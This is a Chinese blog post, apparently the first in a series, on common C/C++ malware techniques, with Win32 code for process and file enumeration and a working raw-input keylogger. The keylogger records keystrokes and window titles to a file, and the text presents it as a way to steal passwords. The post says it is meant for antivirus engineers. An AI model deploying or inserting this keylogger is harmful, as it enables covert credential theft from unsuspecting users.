百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT知识 > 正文

C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录

liuian 2025-07-07 20:10 89 浏览

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

进程遍历

进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

具体流程:

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。

2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。

4、关闭快照句柄并释放资源

遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。

源码实现:

#include "EnumInfo.h"


void ShowError(char *lpszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}


BOOL EnumProcess()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 获取全部进程快照
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Process32First(hProcessSnap, &pe32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", pe32.th32ProcessID);

        // 显示 进程名称
        printf("[%s]\n", pe32.szExeFile);

        // 获取快照中下一条信息
        bRet = ::Process32Next(hProcessSnap, &pe32);
    }

    // 关闭句柄
    ::CloseHandle(hProcessSnap);

    return TRUE;
}


BOOL EnumThread()
{
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    // 获取全部线程快照
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hThreadSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Thread32First(hThreadSnap, &te32);
    while (bRet)
    {
        // 显示 Owner Process ID
        printf("[%d]\t", te32.th32OwnerProcessID);

        // 显示 Thread ID
        printf("[%d]\n", te32.th32ThreadID);

        // 获取快照中下一条信息
        bRet = ::Thread32Next(hThreadSnap, &te32);
    }

    // 关闭句柄
    ::CloseHandle(hThreadSnap);

    return TRUE;
}


BOOL EnumProcessModule(DWORD dwProcessId)
{
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", me32.th32ProcessID);

        // 显示 模块加载基址
        printf("[0x%p]\t", me32.modBaseAddr);

        // 显示 模块名称
        printf("[%s]\n", me32.szModule);

        // 获取快照中下一条信息
        bRet = ::Module32Next(hModuleSnap, &me32);
    }

    // 关闭句柄
    ::CloseHandle(hModuleSnap);

    return TRUE;
}


文件遍历

文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。

就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

具体流程

1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。

2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。

3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。

源码实现:


#include "stdafx.h"
#include "FileSearch.h"


void SearchFile(char *pszDirectory)
{
    // 搜索指定类型文件
    DWORD dwBufferSize = 2048;
    char *pszFileName = NULL;
    char *pTempSrc = NULL;
    WIN32_FIND_DATA FileData = {0};
    BOOL bRet = FALSE;

    // 申请动态内存
    pszFileName = new char[dwBufferSize];
    pTempSrc = new char[dwBufferSize];

    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
    ::wsprintf(pszFileName, "%s\\*.*", pszDirectory);

    // 搜索第一个文件
    HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    if (INVALID_HANDLE_VALUE != hFile)
    {
        do
        {
            // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
            if ('.' == FileData.cFileName[0])
            {
                continue; 
            }
            // 拼接文件路径   
            ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
            // 判断是否是目录还是文件
            if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)       
            {
                // 目录, 则继续往下递归遍历文件
                SearchFile(pTempSrc);
            }
            else                                                           
            {
                // 文件
                printf("%s\n", pTempSrc);
            }

            // 搜索下一个文件
        } while (::FindNextFile(hFile, &FileData));
    }

    // 关闭文件句柄
    ::FindClose(hFile);
    // 释放内存
    delete []pTempSrc;
    pTempSrc = NULL;
    delete []pszFileName;
    pszFileName = NULL;
}


按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

具体流程

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用

GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。

dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。

3、保存按键信息

GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。

源码实现:


#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"


void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 注册原始输入设备
BOOL Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        ShowError("RegisterRawInputDevices");
        return FALSE;
    }

    return TRUE;
}


// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);

    // 获取原始输入数据的大小
    ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT) 
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}


// 保存按键信息
void SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;
    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();
    // 获取顶层窗口标题
    ::GetWindowText(hForegroundWnd, szTitle, 256);
    // 将虚拟键码转换成对应的ASCII
    ::lstrcpy(szKey, GetKeyName(usVKey));
    // 构造按键记录信息字符串
    ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");
    if (NULL == fp)
    {
        ShowError("fopen_s");
        return;
    }
    ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
    ::fclose(fp);
}


恶意代码的存在不是由于黑客之类的手段,主要还是我们开发过程中很多情况会用到这样的技术,所以大家请利用技术做正确的事情!

另外,对于编程学习的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

相关推荐

win10自带文件恢复工具(win10文件恢复工具推荐)

步骤:第一步:打开系统的管理员命令提示符窗口。Windows10系统打开管理员命令提示符窗口有如下几种方法:方法一:在系统桌面左下角的搜索栏输入:CMD,点击:命令提示符,可以打开管理员命令提示符窗口...

电脑本地磁盘c盘满了怎么办(电脑本地磁盘c盘满了如何删除)

当您的电脑本地磁盘C满了时,可能会出现一些问题,例如无法安装新程序、无法保存文件等。以下是一些解决方法:1.删除不需要的文件:可以通过手动删除不需要的文件或使用磁盘清理工具来清理本地磁盘C。在清理磁...

ghost网络克隆详细步骤教程(ghost局域网克隆)
  • ghost网络克隆详细步骤教程(ghost局域网克隆)
  • ghost网络克隆详细步骤教程(ghost局域网克隆)
  • ghost网络克隆详细步骤教程(ghost局域网克隆)
  • ghost网络克隆详细步骤教程(ghost局域网克隆)
傲游浏览器(傲游浏览器app下载)

1、开始——程序——找到遨游——打开,如果能打开说明快捷方式有问题2、362急救箱系统修复、网络修复傲游浏览器曾经是一个备受推荐的浏览器,由于其强大的功能和用户友好的界面,在中国的浏览器市场占有一...

电脑怎么定时关机软件(电脑怎样定时开关机软件)

给电脑设置定时开关机的方法如下:1、点击桌面左下角的开始按钮,打开“控制面板”。2、然后我们点击“系统和安全3、点击下方的“管理工具”。4、再点击“任务计划程序”。5、点击“计划任务程序库”,选择“创...

网易邮箱企业邮箱登录入口(网易邮箱企业免费邮箱登录)

网易企业邮箱官网(qiye.163.com),除此之外所看到的都是经销商网站。现阶段在该官网是可以填写信息直接开通网易企业邮箱体验试用的。如果有不明白的地方需要专人服务也是可以在官网点击在线咨询按钮或...

qq电子邮箱怎么写(电子邮件信箱怎么注册)
qq电子邮箱怎么写(电子邮件信箱怎么注册)

 1.每个人在注册QQ时都会有关联的一个邮箱,它的格式就是“QQ号码@qq.com”。2.用户可以免费开通自己的手机号码邮箱帐号。3.QQ邮箱还可以注册“……@foxmail.com”这样的商务型帐号。4.@qq.com邮箱可以有...

2026-01-12 22:05 liuian

台式机装机步骤(台式机 装机)

原因:1、更新的驱动不正确或未更新完成(使用USB键鼠经常发生);2、电脑更新驱动时假死,导致进程反应过慢。解决方法:1、如更新时驱动不正确,USB键盘、鼠标无作用时;可等待1~2分钟,看键鼠是否恢复...

win8手机下载安装(win8安卓)

在电脑上面就可以下载,打开浏览器搜索windous8系统会出现一些下拉选择,选择第一条或者选择有官网字样的,就直接有下载按钮,然后点击下载就可以了关闭应用自动更新第一步、在系统中找到应用商店。第二...

台式电脑显卡怎么升级(台式电脑显卡升级方案)

一般情况下,建议到产品(您的显卡)品牌官网上去下载相应最新的驱动,这虽然并不能保证一定就是显卡最新的驱动,但相对于稳定性来说是首选。如果是高级玩家,追求更新、更好的性能发挥,可以利用驱动精灵一类的驱动...

u盘数据丢失的原因(u盘数据丢失的原因有哪些)

U盘出现了损坏造成的磁道出现了损坏。这个U盘的磁道是最容易损坏的,有的时候你不知道怎么碰到它,它就有数据丢失了就无法显示这样的情况,你可以在电脑上进行修复,首先你点击U盘右键找到属性选择修复,这样把...

window7下载哪个版本的ie(windows7用哪个版本的ie浏览器)

WIN7系统自带的IE浏览器是8.0版本的。IE全称InternetExplorer,是美国微软公司推出的一款网页浏览器。IE8扩展的新功能有:1、Activities(活动内容服务)。用户可以从网页...

服务器回收(上海服务器回收)

回收服务器内存后,首先应该彻底清除内存存储的所有数据和敏感信息,然后进行分类处理。如果内存仍然有效,可以进行检测、测试和修复后再重新使用。如果内存已损坏或过期,应该妥善处理,比如通过专业的硬件回收公司...

戴尔官网入口学生通道(戴尔学生渠道)

戴尔官网地址如下,在浏览器输入就可以加入了。DELL官方网站http://www.dell.com.cn/DELL官方旗舰店(天猫)http://dell.tmall.com/DELL官方旗舰店(京东...

win7旗舰版激活码病毒(win7旗舰版激活密钥 永久激活码)

激活和破解工具会修改一些系统文件或数据,一般都会被杀毒软件识别为木马。而且现在网上的windows和office激活工具有的确实是带有木马的,最好去值得信任的网站或者论坛下载。